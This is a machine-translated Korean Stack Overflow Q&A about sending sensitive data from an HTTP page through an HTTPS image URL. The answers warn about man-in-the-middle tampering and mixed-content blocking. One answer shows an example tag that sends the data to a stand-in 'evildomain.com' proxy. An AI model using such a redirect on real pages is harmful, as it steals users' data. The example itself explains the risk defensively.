문제

페이지를 다시로드하지 않고 브라우저에서 데이터를 전달 해야하는 서버 스크립트가 있습니다 (일명 AJAX). 데이터는 민감하므로 HTTPS를 통해 전송해야합니다. 그러나 페이지는 HTTP 레이어에 있습니다. 동일한 도메인/프로토콜 제한으로 인해 브라우저에서는이를 허용하지 않습니다.

이미지 태그를 동적으로 생성하고 다음과 같은 SRC 태그를 사용하여 스크립트를 호출하여 시스템을 약간 속이는 생각을하고 있습니다.

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />

이것이 실제로 올바르게 암호화 될지 알고 싶습니다.

도움이 되었습니까?

해결책

이것의 문제점은 페이지 자체가 HTTP 일 뿐이라면 중간 공격에있는 사람에게 취약하다는 것입니다. 공격자는 HTTP를 통해 전송 된 페이지에서 스크립트를 수정하여 대신 사용하도록 할 수 있습니다.

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />

사용자는 전자가 아닌 사람이 될 것입니다. 이 문제를 해결하려면 HTTPS보다 페이지를 제공해야합니다. 동시에 다른 문제를 깔끔하게 해결합니다.

(이것은 로그인 양식이 HTTPS 인 양식 작업이 아닌 HTTPS 페이지에 있어야하는 이유와 똑같은 이유입니다).

다른 팁

예 그리고 아니오.

URL의 서버 주소 부분은 연결을 설정하는 데 사용되기 때문에 암호화되지 않습니다.

HTTPS 연결을 통해 전송되는 동안 다른 모든 것은 암호화됩니다. 그러나 소스를 보는 사람은 분명히 데이터가 게시되는 것을 볼 수 있습니다.

또한 일부 브라우저는 혼합 모드 (HTTP 대 HTTP) HTML 페이지를 표시하지 않거나 표시하기 전에 사용자에게 경고하지 않습니다. 경우에 따라 사용자가 차단하기 위해 선택하기 때문에 작동하지 않을 수 있습니다.

이미지 기술에 대한 가능한 대안 (다른 사람들이 언급 한 단점은 혼합 모드 내용이 일부 브라우저에 의해 친절하게 처리되지 않는다는 것입니다). Assl.

두 방법 모두 암호화가 발생하게되며, 둘 다 중간 공격에서 사람에게 여전히 취약합니다.

라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top